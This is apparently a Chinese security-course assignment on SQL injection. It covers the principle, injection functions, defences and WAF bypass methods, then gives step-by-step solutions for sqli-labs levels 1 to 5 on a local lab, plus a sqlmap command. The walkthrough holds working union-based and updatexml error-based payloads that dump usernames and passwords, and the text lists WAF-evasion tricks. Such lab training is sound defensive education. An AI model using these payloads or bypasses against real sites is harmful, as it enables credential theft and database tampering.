目录
任务一:总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
任务一:总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1.SQL注入原理
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
SQL注入式攻击的主要形式有两种:
♦一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。
♦二是一种间接的攻击方法,它将恶意代码注入表中存储或者作为原数据存储的字符串。存储的字符串会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例,就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“--”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。
2.SQL注入常用函数及含义
1.union联合注入函数
(1)函数concat()
语法:concat(str1,str2,…)
拼接字符串,直接拼接,字符之间没有符号(2)函数concat_ws()
语法:concat_ws(‘separator’, str1, str2, …)
指定符号进行拼接(3)函数group_concat()
语法:group_concat(username)
将username中的内容以逗号隔开显示出来2.sql盲注函数(布尔盲注)
(1)函数length()
语法:length(database())
返回指定对象的长度(此例为返回当前数据库名的长度)
(2)函数left()与函数right()
语法:left(str,num)
对字符串str从左开始数起,返回num个字符(与函数right()相反)
(3)函数substr()
substr()和substring()函数实现的功能是一样的,均为截取字符串。
语法:substr(database(),1,3)
当前数据库名,从第1位开始,截取3位(若数据库名为security,则返回sec)(4)函数mid()
与substr()函数用法相同
语法:mid(database(),4) 或者mid(database(),4,1)
前者为截取数据库名,从第四位开始到末尾,后者为从第四位截取,取一位(若数据库为security,第一个返回urity,第二个返回u)
(5)函数ascii()
语法:ascii('s')
返回字符串str的最左字符的数值,ASCII()返回数值是从0到255
(6)函数ord()
语法:ord('a')
与函数ascii()相同,返回字符串第一个字符的 ASCII 值。
3.sql盲注函数(时间盲注)
(1)函数sleep()
语法:sleep(5)
过5s响应
(2)函数if()
语法:if(1=1,3,4) 或者if(1=2,3,4)
前者返回3,后者返回4
4.报错注入函数
(1)函数floor(),向下取整
语法:floor(3.8) = 3(2)函数rand(),取随机数,若有参数x,则每个x对应一个固定的值
语法:rand(0) = (0,1)内的任意一个数(3)函数exp(),是以e为底的指数函数
语法:exp(1)=2.718281828459045
(4)~0表示对0进行按位取反
(5)函数updatexml()
语法:updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据(6)函数extractvalue()
语法:extractvalue(XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)5.读写文件函数
(1)函数load_file()
语法:load_file('filepath')
作用:load_file这个函数是读取文件的(2)函数into outfile
作用:函数into outfile 与 into dumpfile都是写文件6.其他相关的PHP函数
(1)函数addslashes()
作用:函数返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
单引号(’)
双引号(")
反斜杠(\)
NULL(2)函数stripslashes()
作用:stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
(3)函数get_magic_quotes_gpc()
作用:函数get_magic_quotes_gpc()用于获取当前 magic_quotes_gpc 的配置选项设置
(4)函数mysql_real_escape_string()
作用: 转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响:
\x00
\n
\r
’
"
\x1a
3.SQL注入防御
(1)使用参数化查询
使用参数化查询可以防止SQL注入攻击,并提高代码的可读性和可维护性。
(2)输入验证和过滤
输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术,它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。
(3)使用存储过程
存储过程是一组预定义的SQL语句集合,可以在数据库中进行重复性和复杂性的操作。它们可以接受参数,并且可以在数据库中进行重复使用。
(4)最小权限原则
最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。这意味着用户只能访问和执行他们工作所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。使用最小权限原则可以减少潜在的安全风险和数据泄露的可能性。通过限制用户的权限,可以防止他们对数据库中的敏感数据进行未经授权的访问、修改或删除。(5)使用ORM框架
ORM(对象关系映射)框架是一种将对象模型和关系数据库之间进行映射的技术。它允许开发人员使用面向对象的方式操作数据库,而不需要编写繁琐的SQL语句。ORM框架的优点包括提高开发效率、减少代码量、简化数据库操作、提供对象级别的查询和持久化等。(6)使用准备语句
准备语句(Prepared Statement)是一种预编译的SQL语句,它允许开发人员将参数化查询发送到数据库,并在执行时提供参数值。准备语句可以提高数据库操作的性能和安全性,同时还能防止SQL注入攻击。
(7)使用安全的数据库连接
使用安全的数据库连接是非常重要的,可以保护数据库免受恶意攻击和数据泄露。
(8)避免动态拼接SQL语句
避免动态拼接SQL语句是为了防止SQL注入攻击和提高代码的可读性和可维护性。
(9)使用防火墙和入侵检测系统
使用防火墙和入侵检测系统是为了保护计算机网络免受未经授权的访问和恶意攻击。
(10)定期更新和维护数据库软件
定期更新和维护数据库软件是非常重要的,以确保数据库的安全性、性能和功能的稳定性。
4.SQL注入常用绕过waf的方法
(1)提交方式变换
许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。
(2)大小写替换和编码绕过
利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。
(3)事件函数变换
WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。
(4)注释符和内联注释
使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。
(5)分片传输
通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。
(6)利用WAF软肋
WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。
(7)爬虫白名单绕过
部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。
(8)高并发流量攻击
通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。
任务二:sqli-labs通关前5关,并写出解题步骤
1.第一关
点击进入后界面如下,提示输入数字值的ID作为参数
我们在URL栏后输入?id=1
通过修改id的数字进行查看,发现数字不同,返回的结果也不同
判断sql语句是否是拼接,是字符型还是数字型,在上图的URL栏中加上'符号
返回错误,在后面加上注释符和特殊符号--+,存在回显
根据结果可以判断是字符型且存在sql注入漏洞。这里使用联合查询继续下一步
首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。输入?id=1'order by 3 --+
输入?id=1'order by 4 --+,
爆出显示位,查看表格里面哪些列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。输入?id=-1'union select 1,2,3--+
获取当前数据名和版本号,输入?id=-1'union select 1,database(),version()--+
进行爆表,输入?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名,通过sql语句查询知道当前数据库有四个表,根据表名猜测用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。输入?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到两个敏感字段就是username和password,查询该字段对应的内容,输入?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.第二关
页面如下
和第一关进行一样的判断,输入?id=1'和?id=1"进行判断
当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
输入?id=1 order by 3和?id=1 order by 4查看列数,发现只有三列
输入?id=-1 union select 1,2,3,查询哪些列可以显示出来
输入?id=-1 union select 1,database(),version(),查询数据库名称和版本
输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security',查询security数据库中的表
输入?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users',查询字段数
输入?id=-1 union select 1,2,group_concat(username ,id , password) from users,查询该字段对应的内容
3.第三关
页面如下
输入?id=1',看到页面报错信息。推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
输入?id=2')--+,有回显
输入?id=1') order by 3--+,输入?id=1') order by 4--+,最多四列
输入?id=-1') union select 1,2,3--+,查看哪些列会显示出来
输入?id=-1') union select 1,database(),version()--+,查看数据库名称和版本
输入?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+,查看有哪些表
输入?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+,查看字段数
输入?id=-1') union select 1,2,group_concat(username ,id , password) from users--+,查看该字段对应内容
4.第四关
页面如下
输入?id=1'和?id=1"查看
输入?id=1") order by 3--+和?id=1") order by 4--+,查看最大列数
输入?id=-1") union select 1,2,3--+,查看哪些列能显示出来
输入?id=-1") union select 1,database(),version()--+,查看数据库名称和版本
输入?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+,查看有哪些表
输入?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+,查询对应表中的字段数
输入?id=-1") union select 1,2,group_concat(username ,id , password) from users--+,查询对应字段的内容
5.第五关
页面如下
输入?id=1'和?id=1"测试
根据页面结果得知本关的查询结果不回显,但语法报错还是存在的,并且从报错可以判断出本关的闭合是单引号
选择布尔盲注,输入?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s,获取当前数据库名
输入?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s,查询有哪些表
输入?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s,查询对应表中的字段数,这里查询的是users表
输入?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s,
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
查询用户,密码
任务三:总结SQLi的手工注入的步骤
1.对目标进行信息收集
确定目标应用程序的输入点,了解应用程序的数据库类型(如MySQL、PostgreSQL等),可以通过错误消息或特定的SQL语法特征来识别。2.对输入点进行测试
在输入字段中插入简单的SQL注入测试字符串,检查是否返回了意外的结果或错误消息来确定是否存在SQL注入漏洞。3.确定数据库的结构
使用联合查询(UNION)来获取其他表的数据。然后可以通过逐步增加列数,确定目标表的列数和数据类型。4.提取数据
确定数据库结构后,使用SELECT语句提取敏感数据。5.利用数据库类型采取对应措施
根据数据库类型,利用特定的函数和特性来进一步提取和操控数据。6.绕过
如果应用程序使用了WAF或其他安全措施,可以尝试编码、注释或分割注入payload,以绕过检测。7.执行恶意操作
如果获得了足够的权限,可以执行更具破坏性的操作,如删除表、修改数据等。
任务四:使用sqlmap通过或验证第六关
在sqlmap目录下打开cmd,输入python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --batch --dbs